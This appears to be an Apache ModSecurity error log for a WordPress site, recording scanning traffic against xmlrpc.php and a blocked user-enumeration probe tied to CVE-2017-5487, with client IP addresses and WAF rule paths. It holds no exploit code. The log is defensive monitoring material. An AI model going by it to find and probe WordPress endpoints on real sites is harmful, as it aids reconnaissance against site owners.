[Mon Apr 13 08:06:50.470879 2026] [:error] [pid 63311:tid 63394] [client 155.133.132.65:55732] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwzmqHjrGN1MqBCVFkhGAAAAJc"]
[Mon Apr 13 08:09:33.045812 2026] [:error] [pid 63406:tid 63423] [client 180.181.244.244:57158] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw0PbHZEIkQ0Zmgp5r6AgAAAMw"]
[Mon Apr 13 08:11:58.970811 2026] [:error] [pid 63311:tid 63376] [client 57.128.117.142:58658] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw0zqHjrGN1MqBCVFkkQQAAAIU"]
[Mon Apr 13 08:15:24.532899 2026] [:error] [pid 7228:tid 7244] [client 85.248.226.9:51684] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.248.226.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw1nAEnn1dQrOSHHNXmLQAAAQ4"]
[Mon Apr 13 08:17:08.040714 2026] [:error] [pid 63406:tid 63431] [client 134.255.49.214:60124] [client 134.255.49.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.49.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw2BLHZEIkQ0Zmgp5oAKAAAANQ"]
[Mon Apr 13 08:21:58.045618 2026] [:error] [pid 63406:tid 63428] [client 159.203.177.184:40636] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw3JrHZEIkQ0Zmgp5oDRgAAANE"]
[Mon Apr 13 08:27:19.294019 2026] [:error] [pid 63309:tid 63332] [client 5.189.168.141:56488] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw4Z0pIKZ10weXpf0WVmQAAABM"]
[Mon Apr 13 08:28:58.276723 2026] [:error] [pid 7228:tid 7253] [client 93.91.154.4:50294] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw4ygEnn1dQrOSHHNXxRgAAARc"]
[Mon Apr 13 08:31:33.295551 2026] [:error] [pid 7228:tid 7251] [client 143.198.119.177:52272] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw5ZQEnn1dQrOSHHNXzgwAAARU"]
[Mon Apr 13 08:33:30.557485 2026] [:error] [pid 63311:tid 63388] [client 89.163.159.173:60018] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw52qHjrGN1MqBCVFksxQAAAJE"]
[Mon Apr 13 08:39:24.126418 2026] [:error] [pid 7228:tid 7254] [client 217.61.143.66:43612] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw7PAEnn1dQrOSHHNX5yQAAARg"]
[Mon Apr 13 08:41:47.293151 2026] [:error] [pid 63406:tid 63431] [client 35.234.37.132:34182] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw7y7HZEIkQ0Zmgp5oPMwAAANQ"]
[Mon Apr 13 08:42:02.771850 2026] [:error] [pid 63311:tid 63379] [client 62.169.28.251:34122] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw72qHjrGN1MqBCVFkxPAAAAIg"]
[Mon Apr 13 08:44:24.847797 2026] [:error] [pid 7228:tid 7237] [client 157.245.42.243:37926] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw8aAEnn1dQrOSHHNX-1gAAAQc"]
[Mon Apr 13 08:45:41.207403 2026] [:error] [pid 63311:tid 63383] [client 104.208.160.135:50408] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw8taHjrGN1MqBCVFkyzQAAAIw"]
[Mon Apr 13 08:46:52.437313 2026] [:error] [pid 7228:tid 7240] [client 85.248.226.9:44738] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.248.226.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw8_AEnn1dQrOSHHNUAogAAAQo"]
[Mon Apr 13 08:48:38.270616 2026] [:error] [pid 7228:tid 7247] [client 178.62.28.91:58096] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw9ZgEnn1dQrOSHHNUCKwAAARE"]
[Mon Apr 13 08:49:08.868367 2026] [:error] [pid 63406:tid 63432] [client 128.199.223.38:41936] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw9hLHZEIkQ0Zmgp5oUEgAAANU"]
[Mon Apr 13 08:49:45.376386 2026] [:error] [pid 7228:tid 7241] [client 57.128.117.142:53170] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw9qQEnn1dQrOSHHNUDXQAAAQs"]
[Mon Apr 13 08:51:11.804282 2026] [:error] [pid 7228:tid 7244] [client 3.35.105.150:56148] [client 3.35.105.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.35.105.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw9_wEnn1dQrOSHHNUEpAAAAQ4"]
[Mon Apr 13 08:52:37.100735 2026] [:error] [pid 7228:tid 7248] [client 103.205.142.28:56480] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw-VQEnn1dQrOSHHNUFVgAAARI"]
[Mon Apr 13 08:53:13.591222 2026] [:error] [pid 63406:tid 63431] [client 185.199.223.93:47402] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw-ebHZEIkQ0Zmgp5oXXgAAANQ"]
[Mon Apr 13 08:59:26.296364 2026] [:error] [pid 63311:tid 63390] [client 194.164.166.170:56578] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adw_7qHjrGN1MqBCVFk4BAAAAJM"]
[Mon Apr 13 09:06:25.217072 2026] [:error] [pid 63310:tid 63352] [client 178.62.28.91:34356] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxBkXoXpRU5ztmwPjK6EgAAAEg"]
[Mon Apr 13 09:08:59.575806 2026] [:error] [pid 63311:tid 63380] [client 45.113.226.217:53810] [client 45.113.226.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.113.226.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxCK6HjrGN1MqBCVFk8gwAAAIk"]
[Mon Apr 13 09:09:30.126642 2026] [:error] [pid 63310:tid 63346] [client 68.183.124.132:54022] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxCSnoXpRU5ztmwPjK7OwAAAEI"]
[Mon Apr 13 09:10:38.555512 2026] [:error] [pid 7228:tid 7234] [client 188.34.204.35:37780] [client 188.34.204.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.204.35, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxCjgEnn1dQrOSHHNUX5AAAAQQ"]
[Mon Apr 13 09:10:53.287370 2026] [:error] [pid 63311:tid 63371] [client 2.34.26.245:53045] [client 2.34.26.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.34.26.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxCnaHjrGN1MqBCVFk9jgAAAIA"]
[Mon Apr 13 09:14:40.458758 2026] [:error] [pid 63309:tid 63325] [client 100.24.110.95:33394] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxDgEpIKZ10weXpf0WjnwAAAAw"]
[Mon Apr 13 09:15:08.092631 2026] [:error] [pid 63406:tid 63420] [client 85.215.188.44:54862] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxDnLHZEIkQ0Zmgp5olxwAAAMk"]
[Mon Apr 13 09:17:38.682619 2026] [:error] [pid 7228:tid 7234] [client 104.37.191.206:40938] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxEMgEnn1dQrOSHHNUe9gAAAQQ"]
[Mon Apr 13 09:18:34.050633 2026] [:error] [pid 7228:tid 7251] [client 43.156.202.34:35044] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adxEagEnn1dQrOSHHNUfagAAARU"]
[Mon Apr 13 09:24:12.416290 2026] [:error] [pid 63309:tid 63315] [client 141.95.66.91:44000] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxFvEpIKZ10weXpf0WlywAAAAI"]
[Mon Apr 13 09:24:30.767015 2026] [:error] [pid 7228:tid 7254] [client 2.34.26.245:53059] [client 2.34.26.245] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adxFzgEnn1dQrOSHHNUjJAAAARg"]
[Mon Apr 13 09:25:52.652733 2026] [:error] [pid 63311:tid 63386] [client 2.34.26.245:53215] [client 2.34.26.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.34.26.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxGIKHjrGN1MqBCVFlD8gAAAI8"]
[Mon Apr 13 09:42:22.945819 2026] [:error] [pid 63309:tid 63319] [client 83.197.127.68:44324] [client 83.197.127.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.197.127.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxJ_kpIKZ10weXpf0WrJAAAAAY"]
[Mon Apr 13 09:44:05.816254 2026] [:error] [pid 63309:tid 63325] [client 67.205.43.38:55028] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxKZUpIKZ10weXpf0WrwwAAAAw"]
[Mon Apr 13 09:46:03.226758 2026] [:error] [pid 63311:tid 63383] [client 165.227.121.154:53994] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxK26HjrGN1MqBCVFlMNgAAAIw"]
[Mon Apr 13 09:46:33.919932 2026] [:error] [pid 63406:tid 63422] [client 94.23.210.48:46042] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxK-bHZEIkQ0Zmgp5o5TgAAAMs"]
[Mon Apr 13 09:49:47.182200 2026] [:error] [pid 63310:tid 63352] [client 34.140.181.23:1865] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxLu3oXpRU5ztmwPjLJKwAAAEg"]
[Mon Apr 13 09:50:37.815088 2026] [:error] [pid 63310:tid 63355] [client 155.133.142.66:55803] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxL7XoXpRU5ztmwPjLJTwAAAEs"]
[Mon Apr 13 09:56:26.779944 2026] [:error] [pid 7228:tid 7240] [client 213.160.71.62:50358] [client 213.160.71.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxNSgEnn1dQrOSHHNU-kQAAAQo"]
[Mon Apr 13 10:01:54.834845 2026] [:error] [pid 7228:tid 7243] [client 165.227.121.154:58248] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxOkgEnn1dQrOSHHNVCgwAAAQ0"]
[Mon Apr 13 10:02:44.657454 2026] [:error] [pid 7228:tid 7253] [client 49.43.161.148:65237] [client 49.43.161.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.148, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxOxAEnn1dQrOSHHNVDBQAAARc"]
[Mon Apr 13 10:04:47.489783 2026] [:error] [pid 63310:tid 63364] [client 142.93.115.177:44736] [client 142.93.115.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.115.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxPP3oXpRU5ztmwPjLM5wAAAFQ"]
[Mon Apr 13 10:05:52.145956 2026] [:error] [pid 63310:tid 63354] [client 49.43.161.148:62188] [client 49.43.161.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.148, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxPgHoXpRU5ztmwPjLNRwAAAEo"]
[Mon Apr 13 10:09:24.966155 2026] [:error] [pid 63310:tid 63345] [client 87.106.94.234:45166] [client 87.106.94.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.106.94.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxQVHoXpRU5ztmwPjLOoQAAAEE"]
[Mon Apr 13 10:11:39.015651 2026] [:error] [pid 63406:tid 63416] [client 67.205.159.76:30718] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxQ27HZEIkQ0Zmgp5pE0gAAAMU"]
[Mon Apr 13 10:11:59.229310 2026] [:error] [pid 7228:tid 7236] [client 217.216.48.92:41216] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxQ7wEnn1dQrOSHHNVJjwAAAQY"]
[Mon Apr 13 10:12:32.421766 2026] [:error] [pid 63310:tid 63345] [client 142.171.245.185:46568] [client 142.171.245.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.171.245.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxREHoXpRU5ztmwPjLPpwAAAEE"]
[Mon Apr 13 10:12:47.535048 2026] [:error] [pid 63406:tid 63421] [client 85.248.226.9:53950] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.248.226.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxRH7HZEIkQ0Zmgp5pFlQAAAMo"]
[Mon Apr 13 10:19:20.227322 2026] [:error] [pid 63310:tid 63367] [client 82.165.10.186:44582] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.10.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxSqHoXpRU5ztmwPjLSnwAAAFc"]
[Mon Apr 13 10:24:35.030022 2026] [:error] [pid 63309:tid 63316] [client 59.125.102.142:48648] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxT40pIKZ10weXpf0W4tgAAAAM"]
[Mon Apr 13 10:30:28.427548 2026] [:error] [pid 7228:tid 7249] [client 35.201.138.245:33178] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxVRAEnn1dQrOSHHNVctQAAARM"]
[Mon Apr 13 10:40:53.347038 2026] [:error] [pid 63406:tid 63424] [client 185.225.22.51:36978] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxXtbHZEIkQ0Zmgp5pWnQAAAM0"]
[Mon Apr 13 10:43:15.729074 2026] [:error] [pid 63309:tid 63320] [client 182.6.8.195:45771] [client 182.6.8.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.6.8.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxYQ0pIKZ10weXpf0W9NQAAAAc"]
